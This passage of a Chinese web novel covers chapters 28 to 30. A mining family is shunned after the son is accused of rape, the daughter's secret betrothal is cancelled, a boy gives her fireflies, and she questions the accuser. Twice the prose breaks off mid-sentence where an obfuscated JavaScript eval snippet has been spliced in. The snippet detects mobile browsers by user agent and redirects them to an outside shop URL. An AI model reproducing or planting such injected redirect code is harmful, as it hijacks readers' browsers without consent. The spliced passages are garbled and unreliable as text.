南雁将歪倒的凳子扶正,声音没什么起伏:“我知道。” …… 警车驶离了嘈杂的巷口。 年轻的公安透过后视镜,还能看见南家那扇紧闭的门。 “师父,那南家的小姑娘……”他咂咂嘴,脸上带着难以置信的神情,“也太……太冷静了。问的都是要害。” 年长的公安没接话,只是将车窗摇下一条缝,傍晚微凉的风灌进来,驱散了些许车内的沉闷。 他摸出烟盒,抽出一支点燃。 辛辣的烟雾缭绕升腾,模糊了他略带沧桑的脸庞。他眯着眼,不知是在对谁说话:“回去后,把林菲的社会关系,再仔细摸一遍。还有她手上的划伤,找法医再确认下形成时间。” 年轻的公安愣了愣,随即反应过来——林菲说自己是被南天贵抓伤的,可她手上的伤口边缘整齐,倒像是被什么锐器划的。 * 南天贵被带走的消息,不像风,倒像井下蛰伏的瓦斯,在生活的缝隙里无声渗透,待人们惊觉,舌尖已“嘭”地炸开,带着灼人的毒焰,燎过矿区每一个角落。 南家这艘早积满沉渣的破船,被径直抛上风口浪尖,在唾沫与目光的浪涛里,发出不堪重负的呻吟。 学校,成了最先沦陷的阵地。 南雁的叮嘱成了糊窗的薄纸。五年级的队伍里,窃语如针:“看,强-奸-犯的妹妹。” 南玉的脖颈霎时“断了”,脑袋恨不能缩进胸腔。 南春更糟。 曾经跳皮筋的伙伴见她来了,圈子像避让瘟疫般无声裂开一个缺口。 一个男生蹿到她面前,双手比划着“咔嚓”戴手铐,怪腔怪调:“南天贵!你事发了!” 南春孤零零地钉在操场中央,方才的喧闹陡然死寂,那些目光从四面八方射来。 她死死咬住下唇,直到尝到一丝腥甜,才终于“哇”的一声,心理的堤坝彻底崩决。 最让人心颤的是南峰。 他还掂量不出那三个字的全部重量,却能称出恶意的形状。 新文具盒“哐当”落地,印着的孙悟空被一只脚碾过,脸孔模糊。 他没哭闹,只是蹲下去,紧紧抱住那变形的铁皮盒子,一双眼睛里,是雏鸟面对狂风时,全然的不解与荒凉。 若说学校是孩子们的刑场,那对包兰芝而言,走出家门的每一步都像是在滚钉板。 她攥着粮本去供销社,队伍自动在她前后断开一截真空。 售货员递来的粮袋,带着一股嫌弃的力道,仿佛那布袋已沾满晦气。 “就是她家儿子……”压低的议论化作了黏稠的胶,裹住包兰芝的口鼻,让她呼吸困难。 她死死攥紧袋口,头埋进胸口,脚步踉跄地逃离,那条走了半辈子的路,那天长得望不到头。 指指点点的软刀子尚能硬扛,直到傍晚,一块半个拳头大的石头突然从黑暗里飞来,裹挟着风声砸破了南家厨房的玻璃窗。 碎片混着石头掉进腌咸菜的缸里,“哗啦”一声,惊得屋里人全跳起来。 包兰芝第一个冲出去,对着黑漆漆的夜色破口大骂:“哪个挨千刀的王八羔子!有种给你奶奶站出来!背后扔黑石头,烂手烂脚的玩意儿!” 窗外只有风声,和更远处几户人家匆忙关窗的声响。 包兰芝骂累了,喘着粗气回来,盯着破掉的窗口,胸口剧烈起伏,最终瘫坐在地,发出的不是哭,而是绝望的呜咽,像困在浅滩的鱼。 南雁没安慰,也没追骂,只是盯着那块石头,指节泛白。 她沉默地扶起歪倒的凳子,找来一张旧报纸,徒手去堵那破洞。 指尖被锋利的玻璃碴划了一道,细小的血珠渗出来,她只是凑到嘴边,轻轻吮了一下。 “妈,”她转过身,声音平静,却带着不容置疑的决断,“明天,我必须去找林菲。” …… 天光还溺在墨蓝的死水里,黎明前的鼾梦,便被一声凄厉的哭嚎硬生生撕裂。 “南天贵!你还我闺女清白!你还我菲菲的命来啊——!”张小英的嗓音,像生了锈的锯子,在南家每个人紧绷的神经上来回拉扯。 南雁悄无声息地挪到窗边,从报纸的裂隙往外望。 张小英头发蓬乱,瘫坐在门前冰冷的泥地上,双手疯狂拍打着地面,扬起的尘土混合着泪水,在她脸上和成了泥。 屋里,包兰芝死死咬着被角,浑身的骨头缝都在打颤。 外面的每一声诅咒,都像烧红的针,扎进她的皮肉。 一股怒火直冲上头,她想冲出去,撕烂那女人的嘴! 可南雁昨夜冰冷的话语,像钉子 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“工友们呐!老少爷们!给评评理啊!南秉义家的南天贵,他是个畜生!他害了我闺女林菲!菲菲……我的菲菲还在医院里躺着,人毁了,一辈子都毁了啊!他们南家装死不认账,领导也不管……我这当娘的没活路了,今天就死在这儿了!” 这一跪一哭一磕头,效果炸裂。 下井的脚步停滞了,交接班的人围拢过来,窃窃私语声浪般涌起,将张小英围在中心。 人潮边缘,南秉义正和几个老伙计检查着下井的工具。 那凄厉的哭诉像一把钝刀,猝然扎进嘈杂,他动作一僵,手里那把磨得锃亮的扳手,“哐当”一声掉在冰冷的铁板上。 声音不大,却让周遭瞬间安静了几分。 不知是谁,低低喊了一嗓子:“南老蔫……在那儿呢。” 所有目光,顿时像烧红的铁砂,从四面八方聚拢过来,烫得南秉义浑身的血液都冻住了。 “南老蔫,”一个相熟多年的老工友凑近,声音压得极低,带着不敢置信,“天贵那孩子……真能做出这……” 南秉义的嘴唇哆嗦着,像离水的鱼,翕动了几下。 他想说“没有”,想为儿子辩白,可那三个字有千钧重,堵在喉咙口,最终,他只是把瞬间佝偻下去的脊背,又弯了弯,艰难地垂下了头。 这沉默,比任何辩解都更像一种默认。 张小英看到他这副模样,怨气找到了决堤的出口,哭嚎得更加凄厉:“南秉义!你抬头看看!你养的好儿子!你们一家子欺负我们老实人!” 她的泪眼在混乱的人群中疯狂扫视,像受伤的母狼寻找着另一个可以撕咬的对象。 突然,她的目光定在人群外围——她那个丈夫林恩华,不知何时也跟了过来,正缩着脖子,佝偻着背,脸上深刻的皱纹里填满了惊慌与难堪,试图把自己藏进别人的影子里。 见他这副烂泥扶不上墙的鹌鹑样,张小英心头那点理智的弦,“崩”地一声断了。 她猛地从地上窜起,拨开人群冲过去,铁钳般的手死死攥住林恩华的胳膊,指甲几乎掐进他肉里:“林恩华!你个没卵用的孬种!废物!” 林恩华脸唰地惨白,试图挣脱,声音低得几乎听不见:“小英……别、别在这儿闹……回去,回去说……” “回去?回哪去!菲菲躺在医院里的时候你怎么不回去!你个软脚虾!窝囊废!那是你亲闺女!她身子让人毁了,你就只会蹲在墙角抽你那破烟!屁都不敢放一个!我当初真是瞎了眼,跟了你这么个脓包!你算什么男人!” 每一句咒骂,都像一记响亮的耳光,抽在林恩华脸上。 他脸上红白交错,冷汗涔涔而下,抬手想抹把脸,却发现手抖得厉害。 他痛苦地闭上眼,脑袋耷拉下去,几乎要折进胸膛里,那本就佝偻的背,此刻弯得像一张即将被拉断的弓。 安全员和班组长赶紧挤上来,七手八脚地拉劝,现场乱成一锅滚粥。 南秉义最终被几个老伙计半推半架着,逃离般拥向那深不见底的罐笼。 罐笼门“哐当”合拢,隔绝了地上的一切声响,只有失重感猛地拽着人下沉,无边的黑暗从四面八方合拢,将他彻底吞没。 28. 退亲 南雁从林菲家往回走,感觉整个阴天都压进了胸膛里,每一次呼吸,都溢满了水汽的沉重。 张小英的谩骂如同一盆脏污的脓水,在她耳边泼洒后,依旧黏腻地往下淌。 她本以为能从林菲身上找到一丝突破口,却没想连门都没进去,就被兜头盖脸一顿臭骂,祖宗十八代都被人拎出来羞辱了一遍。 她拖着沉重的步子,身心俱疲地推开自家的门。 屋内空气凝滞如铁。 煤油灯在低矮的桌案上摇曳,将几张面孔映照得明暗不定,阴影在他们脸上深深浅浅地沟壑纵横。 母亲包兰芝蜷在条凳上,像一只被拔光了羽毛的母鸟,对面坐着的不速之客,则如同嗅到腐肉气味的渡鸦。 她的远房表姨,脸上挂着勉强的讪笑,坐在一侧。 真正主宰这方压抑的,是那对中年男女。 男人脸庞粗砺,眼神如同冻土,女人则紧绷着嘴角,双手交握放在腿上。 角落里,还有一个缩着脖子的年轻男人几乎隐没在黑暗中,像一道无关紧要的影子。 包兰芝正赔着笑脸给那对男女倒水,水线歪斜,泼洒在坑洼的桌面上洇开一片深色,她也浑然不觉。 一抬眼瞧见南雁,她脸上那点强挤出的血色“唰”地褪尽,惊慌如同野藤疯长,瞬间缠满了眼眶。 “雁、雁子?”她的声音尖细得不自然,猛地站起,几乎是扑过来,抓住南雁的胳膊,用力往外推搡,“你、你咋这么快就回来了?没事,没事了,你……你先出去转转,妈这儿有点事,说完就……” 南雁被她推得一个趔趄,满身的疲惫霎时被尖锐的疑虑刺穿。 她母亲眼神躲闪,慌乱得像是在遮掩一具刚埋下的尸体。 “妈你推我干什么?”南雁站稳脚跟,胳膊用力,抵住了她的推搡,目光锐利地扫过屋里那几张表情各异的脸,“家里来了客人?什么样尊贵的客人,需要把我赶出家门才能款待?” “没啥事!都是大人的事,你小孩家别问!快出去!”包兰芝更急了,指甲几乎掐进南雁的皮肉,声音带着哭腔和穷途末路的气急败坏。 “我不出去。”南雁的倔脾气也上来了,她死死钉在原地,母女俩在门口拉扯起来。 “行了。” 一直沉着脸的中年男人终于出声,嗓音粗粝,他站起身,没什么温度的目光掠过南雁,最终钉在面如死灰的包兰芝身上。 “包家妹子,既然孩子回来了,那就把话摊开说吧。我们今儿来,就是为了两个孩子之前定的那门亲事。” 南雁拉扯的动作霎时顿住,浑身的血液似乎在这一瞬间凝固。 亲事? 她转向包兰芝,眼中是难以置信的冰霜。 男人不理母女俩瞬间煞白的脸,自顾自往下说,字字刻薄:“眼下你家这境况,南天贵干了那档子脏事,名声早就臭过茅坑了。我们王家门槛低,也担不起这风险,更丢不起这人。这门亲,就此作罢。” 旁边的女人,接口道,语气稍软,意思却同样坚决:“兰芝姐,我们也是不得已……往后若是结了亲,如何在街面上行走?孩子们也要脸面……之前你家收下的那份彩礼,二百五十块,是不是……该还给我们了?” 二百五十块!彩礼! 一瞬间,天地失色。 南雁感到脚下仿佛地陷般一软,刺骨的寒意瞬间传遍四肢百骸。紧接着,一片寂静的海啸在她脑中席卷而过,轻而易举地卷走了所有的光线与声音。 她终于明白了!明白她妈为何那般惊慌!她竟然背着自己,用二百五十块钱就把她给卖了! 包兰芝在听到“退婚”和“彩礼”时,整个人如同被抽走了脊梁骨,彻底垮塌下去。 她嘴唇哆嗦着,脸上交织着羞愧、绝望和恐惧,在南雁冰冷如刀的注视下,连抬头的气力都丧失了。 最终,在王家夫妇毫不退让的逼视下,包兰芝像个被丝线操控的残破木偶,抖抖索索地挪进里屋,片刻后,捧出一个用粗布手帕层层包裹的小包。 她颤抖着手,一层层揭开,露出里面一沓新旧不一的纸币,数也未数,便递了过去。 男人接过钱,粗略一点头,塞进口袋,仿佛多待一秒都会沾染上晦气:“那行,这事就算两清了。” 表姨脸上也有些挂不住,讪讪地说了句“雁子,别怨姨……”,也跟着那一家子匆匆离去。 门“砰”地一声合拢。 屋内陷入了死一样的寂静,唯有煤油灯芯偶尔爆开细微的噼啪声。 南雁站在原地,纹丝不动。 先前强压的怒火,在外所受的屈辱,发现被定亲的震惊,被退婚的羞辱……所有情绪如同地底压抑千年的熔岩,在这一刻轰然爆发! 她转身,眼睛赤红,死死盯着瘫坐在凳子上,失魂落魄的包兰芝,声音因极致的愤怒而颤抖:“妈!你告诉我!这是什么?!你什么时候背着我把我给卖了?!二百五十块!你女儿就值二百五十块是吗?!” 包兰芝被女儿从未有过的凶狠模样慑住,嗫嚅着:“我……我是为了你好……王家……那孩子还算老实……我想着……” “为了我好?”南雁尖声打断,眼泪不受控制地涌出,混合着无尽的失望与愤怒,“为了我好就是在我毫不知情时将我像货物一样定出去?!为了我好就是让人家像躲避瘟疫一样上门退亲,把钱甩到你脸上?!我的脸面!南家的脸面!今日都被你自己丢在地上践踏成了泥泞!” “我能怎么办?!”包兰芝也激动起来,哭着反驳,“你大哥出了事,这个家眼看就要垮了!我不该为你寻个依靠吗?!” “依靠?哈哈哈……”南雁像是听到了世间最荒谬的笑话,笑声凄厉,“出了事你不想着如何救你儿子,不想着如何撑起这个家,却先想着卖女儿求安稳?!现在好了,人家不要了!钱也没了!你满意了?!” 母女俩的哭喊、争吵如同失控的风暴,在低矮的屋顶下疯狂冲撞。 积压太久的压力、恐惧和怨气,化作最锋利的言语,疯狂地互相倾泻、切割,将彼此伤得血肉模糊。 吵到最激烈处,南雁看着母亲那副又怯懦又固执、永远将希望寄托于他人的模样,想到南天贵那令人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599309|185383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 费解的沉默,想到自己为这个家奔波所受的所有委屈与白眼,一股深入骨髓的疲惫和心灰意冷瞬间淹没了她。 她终究……还是逃不过命定的轨迹么? 所有的力气刹那间被抽空。 南雁停止了争吵,胸膛剧烈起伏。她看着包兰芝,一字一句,声音低哑如同诅咒:“好,很好。你那么看重你的儿子,处处为他谋划,甚至不惜卖掉你的女儿。” “行,我不管了。南天贵是生是死,再与我无关。他最好烂在那牢笼里,也省得再拖累这个家,拖累我!” 说完,不等包兰芝从那恶毒的话语中反应过来,南雁猛地转身,拉开门,像一阵绝望的风冲进了外面浓重的夜色,消失不见。 “雁子!南雁!回来!!”包兰芝凄厉的喊声在身后响起,却被夜风撕扯得粉碎。 南雁拼命奔跑,仿佛要将身后那令人窒息的家、那些撕心裂肺的争吵彻底甩脱。 泪水汹涌而出,旋即被冷风刮干,在脸上留下紧绷的痕迹。 肺叶如同被撕裂般疼痛,直到她扶住一棵老槐树粗糙的树干,才不得不停下来,剧烈地喘息。 冰冷的空气灌入胸腔,带来针扎般的刺痛。眼泪流干了,只剩下干涸的涩痛。 巨大的无力感像沼泽里的淤泥,从四面八方涌来,要将她拖入深渊。 不能倒下!一个声音在心底微弱地呼喊。 南雁抬起头,望着远处通往县城方向零星闪烁的灯火,那里有通往省城的长途汽车站。 一个念头,如同黑暗中划过的火柴,骤然亮起——走,离开这里,必须离开。 她的手无意识地插入口袋,手触到里面仅有的几枚硬币,冰凉、坚硬,是她此刻全部的依仗。 这点钱,连去县城的车票零头都不够。 凭什么?! 凭什么她要像丧家之犬一样被放逐?凭什么她所有的辛苦、努力,都要为别人的错误买单,最终付诸东流?! 绝望的谷底,猛地探出一只兽爪,带着要与这命运同归于尽的凶悍,撕开了那片沉郁。 她不走!她要把失去的一切,连本带利地夺回来! 愤怒重新点燃了冰冷的血液,给予了她支撑身体的力量。 南雁不再犹豫,转身,朝着那间刚刚逃离的屋子走去。 家的距离在缩短,她的步伐却在背叛意志。每近一分,胸口的窒息便深重一成,直至彻底淹没她。 脚下不再是路,而是刑场,每一步都像在接受无声的惩戒,细密而持久的痛楚,清晰地漫延上来。 南雁站在门外,冰冷的夜风吹拂着她汗湿的鬓角。 逃离时那股与全世界为敌的决绝,在现实的冷风里迅速消散。 她拐进院子角落,拎起了那柄沉重的柴刀。冰冷的铁器触感让她打了个寒颤,却也奇异地给予了一丝掌控的力量。 她走向矿场西头那片在夜色中愈发显得稀疏、鬼祟的小树林。 枯枝在脚下发出细碎的断裂声。 暮色沉沦,将林子的轮廓晕染得模糊不清,如同她此刻晦暗的前路。 29. 等天再黑一点 她漫无目的地察看着地面与树干,试图找出任何可能指向南天贵那晚踪迹的线索。 一无所获。 这个闭塞的年代,黑暗轻易就能吞噬掉所有的秘密,不像三十年后…… 她脑海里突兀地闪过那个监控无处不在的时代,连巷子口的流浪猫打架都能被记录得一清二楚。 一种源自认知落差的巨大愤怒和无奈涌上心头。 她恨这蒙昧,也恨这无力! 南雁提着刀,转而走向林子边缘那间废弃的院落,那里是她和刘小萍不为人知的避风港。 推开吱呀作响的木门,惊起几只宿鸟。院子里,那棵巨大的老樟树依旧伫立,枝叶蓊郁,在渐暗的天光里投下浓重的阴影。 心情好或不好,她都会来这里,爬上这棵樟树。 从最初笨拙的攀爬,摔过跤,膝盖手掌磨破皮,到后来身姿轻盈,上下如履平地。 这里,曾是她唯一能喘口气的地方。 南雁利落地攀上粗壮的枝干,找了个熟悉的位置坐下,将冰凉的柴刀放在身侧。 仰起头,天幕是沉静的黛蓝色,几颗疏星怯怯地探出头。 晚风穿过枝叶,带来沙沙的轻响,拂在脸上,微微凉。 方才在胸腔里横冲直撞的怒火与憋闷,似乎被这高处的风一点点吹散,沉淀下来,化作一片近乎麻木的平静。 忽然,不远处的树丛一阵微响,窸窸窣窣。 南雁握紧了柴刀,蓦然回首,昏暝的暮色如同一幅被水浸染的旧画,而一道修长的人影,正像是滴落画布的新墨,从远景中缓缓晕开,步履沉稳,踏碎了林间一地的光影与寂寥。 “南雁。” 声音自树下传来。 她低头,看见谢承景站在那里,微微仰着头。 少年清瘦的身影在暮色里显得有些单薄,唯独那双眼睛,亮得惊人。 “你怎么知道我在这儿?”南雁有些意外。 “买酱油路上碰到刘小萍,她正急着找你,然后告诉我,你可能在这儿。”谢承景解释道,目光扫过她身侧的柴刀,又很快移开,落在她脸上。 南雁心下明了。 定是刘小萍听到了她和她妈那场惊天动地的争吵,放心不下来找她。 即使她家如今处境尴尬,刘小萍的妈妈明里暗里不让女儿再跟她多来往,但小萍还是那个小萍,是她两辈子,唯一能交付后背的朋友。 她不怪小萍妈妈的势利,趋利避害是人性,只要不在她跌落时再踩上一脚,雪中送不送炭,她其实并不强求。 “她怎么不自己来?”南雁随口一问。 “她妈喊她回家吃饭,催得急,就托我过来看看。”谢承景顿了顿,望着树上那个显得疏离又脆弱的身影,声音放轻了些,“下来吧,天快黑透了,回家……总是要吃饭的。” “家?”南雁在心底嗤笑一声,她存了心要逗他,故意长长叹了口气,语气带了点无奈的夸张:“都说攀爬容易下落难,你以为我不想吗?我这不是下不去了。” 她晃了晃悬空的腿。 谢承想也未想,立刻朝前迈了一步,张开双臂,认真道:“那你跳下来,我接着你。” 南雁看着他毫不犹豫的动作,心里微微一动,面上却撇嘴:“你接不住我的,我重得很。” “我力气很大,”谢承坚持,眼神笃定,“相信我,就算我摔了,也绝不会让你摔着。” 看着他一本正经,甚至有点执拗的模样,南雁忽然觉得有些好笑,积郁的阴霾一扫而空,她弯起嘴角,摇了摇头,“算啦!我不想下去,你赶紧回家吧!” 谢承景蹙了蹙眉,像是下定了决心:“我有东西给你,你下来。” “什么东西?”南雁的好奇心被勾了起来,“又是巧克力?” 他之前偶尔会塞给她几块用漂亮糖纸包着的巧克力,在这年头是能甜到心里的稀罕物。 “不是。”谢承景否认得干脆。 他的目光再次快速掠过那柄柴刀,喉结微不可察地滚动了一下:“你下来就知道了。” 南雁偏不。 她坐在树上,在这混乱失控的世界里,唯有此刻,她才拥有了一丝可怜的掌控感。 “那你上来拿给我看。”她带着一种近乎任性的挑衅。 谢承景仰头看了看那些在暮色中显得嶙峋交错的枝干,只迟疑了一瞬,便点头:“好。” 接下来的一幕让南雁有些吃惊。 谢承景挽了挽袖口,手脚并用,动作竟是出乎意料的敏捷与稳健。 他脚蹬手攀,身形舒展,三两下便利落地攀了上来,稳稳坐在她对面的另一根粗壮树干上,气息都未见丝毫紊乱。 南雁挑眉,语气里带着毫不掩饰的惊奇:“没看出来啊,谢承景,你竟然会爬树。” 在她固有的印象里,他更像是个只应与诗书笔墨为伴的清冷美少年。 谢承景整理了一下因动作而微皱的衣角,抬眼看向她,目光清澈见底,“我也没想到,你爬树这么熟练。” 语气平静,却让南雁心头莫名一滞。 南雁朝他伸出手,掌心向上:“东西呢?不是说有东西给我?” 谢承景却没有立刻拿出什么。 他转头望向天际,那里最后一丝霞光正被墨蓝色的夜幕彻底吞噬,世界的轮廓变得模糊而暧昧。 他低声说:“等天再黑一点。” 林间的黑暗来得迅猛,转瞬便如浓墨般泼洒开来,将万物轮廓吞噬。 四下里,夜莺的啼叫与不知名的虫鸣织成一片空灵的网,更显幽邃。 直到一轮皎月挣脱云层的束缚,清辉如练,恍若天公执一面巨大的银筛,将月光如霜般筛落人间,照亮了彼此近在咫尺的眉眼。 谢承景凝视着南雁被月光柔化的面容,觉得时机刚好。他伸手探入衣内,取出一个玻璃瓶。 刹那间,一团温柔而梦幻的荧光在他掌心亮起,驱散了周遭一小片浓得化不开的夜色。 “你把手伸给我。” 南雁其实在瞥见那抹流光的刹那,便已猜出了瓶中是为何物。但她并未点破,只是依言,安静地朝他摊开了掌心。 瓶子被稳妥地放入她的手中,带着少年体温的暖意。 “拿好。” 南雁接过这抹微光,低头看去。 玻璃壁后,几只萤火虫正轻盈游弋,尾灯闪烁,如同一道流淌在她掌心的小小光河。 “你……”她抬起头,望向隐在光影交界处的少年,声音有些沙哑,“你什么时候捉的?” 她记得,傍晚来时,并未见到林间有流萤。 谢承景的视线与她手中莹莹的光晕交缠,声音低沉:“之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16603995|185383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。我发现了一处地方,那里的夜晚,全是这个。”他顿了顿,“本来想……日后带你去亲眼看那星河坠地般的景象,但……来不及了,只好先带几只回来给你。” 他没有多说,但南雁听懂了。他料到她今夜会来,便提前备下了这份无声的慰藉。 南雁不再说话,只是重新垂下眼睫,更小心地捧住了这只瓶子。 萤火在她眸子里投下细碎的光点,像是夜空中零落的星子,终于找到了栖息之地。 林中依旧黑暗,虫鸣依旧聒噪,可这一小捧光,却仿佛在她与世界之间,划下了一道温柔的结界。 结界之外,是现实的倾轧与不堪;结界之内,只有掌心这一点不必言说的懂得,和身旁这个沉默却可靠的陪伴。 良久,谢承景的声音再次响起:“你见过极光吗?” 南雁摇了摇头,目光仍停留在掌心的微光上:“没有。” 少年沉默了片刻,仿佛在回忆某个遥远而冰冷的故乡:“我也没见过萤火虫。我父亲的家乡,在北边,很冷。那里……只有极光。” 南雁终于抬起头,望向黑暗中他模糊的轮廓,被话语里那片未知、瑰丽而寒冷的光景所吸引,轻声问:“那……极光,是什么样的?” 谢承景的目光投向虚空,仿佛要穿透重重夜色,望见那片不属于此地的奇迹。 “我听父亲说,那像是……天神泼洒的颜料,在夜空中流淌、燃烧。是活的,会呼吸,会舞蹈。绿色最多,像最上等的翡翠熔化了,又被风拉成横贯天际的纱幔,有时候,还会透出绯红、幽紫……巨大得能吞没整片星空。” 他顿了顿,似乎在搜寻更准确的词句:“它没有声音,却又好像蕴藏着天地间所有的声响。它就在你头顶盘旋、扭动,光芒像瀑布一样倾泻下来,感觉……很近,仿佛伸手就能触碰,但又远得永远无法企及。” 他的视线缓缓落回南雁手中那盏小小的萤火上,声音里带上了一丝微妙的慨叹:“不像它们这样温暖、亲近。极光很美,但那种美是……冰冷的,带着神性的疏离,看久了,会让人觉得自身渺小如尘芥。” 南雁从他的语气里,敏锐地捕到了一丝与她相似的怅惘:“……你其实,也没见过极光,对吗?” 谢承景沉默了一瞬,没有否认:“嗯。父亲说,那需要极大的运气。而我的运气,似乎总是差了一点。” 但随即,他抬起头,视线与南雁相交,眼中重新汇聚起温暖而坚定的微光:“但我想,如果是和你一起去的话,命运或许会愿意慷慨一次。你愿意……去成为那个幸运的人吗?” 这诺言太沉,南雁不敢应,也没有勇气应。 她挪开了视线,转而问道:“它们……能亮多久?” “一夜,或者更短。”谢承景的声音很近,“但它们明天晚上还会再亮起来。” 南雁没有言语,她轻轻拔开了瓶塞。 最先一点萤火摇曳着逸出,在两人视线交汇处徘徊片刻,似一个无声的礼赞。 随后,光点鱼贯而出,它们挣脱了束缚,将在方寸之间积蓄的光芒尽情挥洒。 无数发光的轨迹在空中交织、缠绕,如同被赋予了生命的灵动韵律,悄然构筑成一个以两人为圆心,不断流转闪烁的微光宇宙,将他们的身影温柔地拢入其中。 “我们……下去吧。”南雁终于说。 30. 懦夫 林菲家那堵不算太高的红砖院墙外,三个身影正叠罗汉般往里翻。 刘小萍先骑上了墙头,龇牙咧嘴地往下伸手,指尖与南雁的手总差那么一寸。 她急得低声催促:“谢承景,你再用点力啊!往上顶一顶!” 墙根下,谢承景绷得像一张拉满的弓,稳稳托着南雁的脚。 他脸上泛着薄红,汗珠沿着额角滑下来,呼吸沉了几分。 少女的脚踝隔着薄薄的鞋袜,似乎能感受到其下骨节的形状和传递来的细微颤抖,这让他心头莫名一紧,仿佛托着的是一捧易碎的雪,又或是一团灼人的火。 听到刘小萍的催促,他抿了抿唇,喉结滚动,将那点不合时宜的绮念压下去,闷哼一声,腰腿猛地发力,竟真的又将肩上的南雁往上送了一截。 “抓住了!”刘小萍一把攥住南雁手腕。 两人一齐用力,南雁狼狈地攀上墙头,胸口起伏。 “你真确定她妈不在家?”她气息不稳地确认。 毕竟,这事关重大,容不得半点闪失。 “放心!早打听好了,她妈值班,她爸下井,家里就她一个!”刘小萍胸有成竹。 两人顺院内老槐树枝干滑下,落地轻悄。 谢承景则隐入墙外树影,负责望风。 林菲家的情况特殊。 自从她接连出事,张小英的看管就变得近乎神经质。 但凡两个大人同时不在家,必定会将家门从外反锁,既不准林菲出来,也防着外人进去,仿佛这样就能将一切危险隔绝在外。 南雁和刘小萍摸到卧室窗外,屈指叩响玻璃:“林菲?林菲?” 里面一片死寂。 两人耐着性子,断断续续地喊了约莫五分钟,屋里才传来沙哑警惕的回应:“……谁?” 南雁凑近门缝:“我,南雁。” 里头沉默片刻,再开口时冷硬排斥:“你来干什么?” 时间紧迫,南雁不打算绕任何弯子,她单刀直入:“时间不多,我直接问了。你为什么要诬陷我大哥?” 门内呼吸一乱,随即更强硬地否认:“你胡说什么!谁诬陷他了?你凭什么——” 那声音里透出的慌乱,反而印证了南雁的猜测。 她不为所动,一步步拆解着对方的防线:“我大哥是什么样的人,我清楚。退一万步讲,就算他真有那个心思,你们根本就是两个世界的人,生活轨迹几乎没有交集。告诉我,你究竟是怎么‘认识’我大哥的?在什么地方?什么时候?” 门后只剩急促的呼吸。 南雁耐心告罄,她没兴趣也没时间跟林菲玩沉默是金的游戏。 她向前倾身,问出那个最大胆的猜测:“林菲,你老实说,你是不是……喜欢我哥?” 刘小萍紧张地攥紧了衣角,屏息凝神地看着那扇门,仿佛想用视线穿透它,看清林菲此刻的表情。 “哐当!” 门内传来沉闷撞击声。 林菲嘶吼出声,近乎崩溃:“滚啊!滚出我家!” 接着是乒哩乓啷的摔砸声。 墙外,谢承景警惕四顾,屈指在墙面急叩三下——有情况,快撤! 刘小萍脸色发白,一把拉起僵立的南雁:“雁子!走!有人来了!” 南雁不再犹豫,被她拽着退到墙根,借老槐树翻上墙头。 动作间,她回头望了一眼那扇紧闭的房门,心底的疑云非但没有散去,反而更加浓重。 林菲的反应,太激烈了,激烈得不正常。 几乎在她们跳下墙,与谢承景隐入小巷阴影的同时,隔壁陈大婶开门探头:“林菲?你没事吧?我刚听见好大动静!” 院子里,摔打声戛然而止。 过了几秒,林菲带着浓重鼻音回应:“没……没事!谢谢陈婶!不小心……碰倒东西了!” 陈大婶狐疑地又张望了几下,似乎没发现更多异样,才嘀嘀咕咕地关上了门:“这丫头,别想不开吧……” 小巷深处,三人靠墙喘息。 “吓死我了!”刘小萍拍着胸口,心有余悸,“差点就被发现了!林菲她……她反应怎么那么大?” 她看向南雁,眼中满是困惑。 “她不对劲。”南雁低声说,目光锐利,“非常不对劲。” 林菲那崩溃的嘶吼和剧烈的反应,在她脑中反复回响,那不仅仅是羞愧或愤怒,更像是一种……恐惧? 她在恐惧什么? 谢承景整理了一下微乱的衣领:“问到了?” 南雁眼神复杂,脑海中闪过林菲崩溃的样子和大哥憔悴的面容,沉声道:“差不多吧。” …… 长夜漫漫,南雁被一个混沌的噩梦攫住。在梦中,她站在林家那堵红砖墙外,墙上布满无数只眼睛,无声地注视着她。 突然,墙内传来林菲凄厉的哭喊,以及一个男人如同野兽般的喘息声。 她猛地坐起,冷汗浸透了睡衣,一个念头如同闪电劈开迷雾:她记起来了! 恰在此时,南春起夜归来,睡眼惺忪地推开门,正对上床边那个披头散发、僵坐如同石像的身影。 南春的声音带着无法抑制的颤抖,睡意被瞬间惊飞,无数乡野传说中的精怪故事涌入脑海:“大、大姐?” 那黑影闻声,却像是骤然失去了支撑,直挺挺地向后倒去,重新陷入被褥之中,呼吸很快变得平稳悠长,仿佛刚才那骇人的一幕,不过是夜色编织的一场幻梦。 南春:“……” 她僵在原地,心脏砰砰直跳,脑子里只剩下一个念头——大姐梦游了!听说不能惊扰梦游的人! 她瞬间屏住呼吸,猫着腰,用堪比做贼的架势溜上床,紧紧贴住三姐南玉,在心底疯狂呐喊:我没醒我没醒我没醒!大姐快继续睡! 南春一夜无眠,睁着眼睛直到天边泛起鱼肚白。 …… 黎明前的寒气最为刺骨。 包兰芝提着鼓鼓囊囊的包裹,与南雁踏上通往县公安局的路。 两人沉默走着,脚步沉重,只有包裹里搪瓷缸子偶尔碰撞出声。 距离南天贵被带走已近七日,公安那边的消息像是沉入井底的石头,再无回响。 嫌疑的阴云非但没有散去,反而愈发浓重地压在这个家的屋顶。 好不容易盼到允许探望的消息,包兰芝几乎是倾尽所有,将她能想到的一切——干净的衣物、耐放的干粮、一小 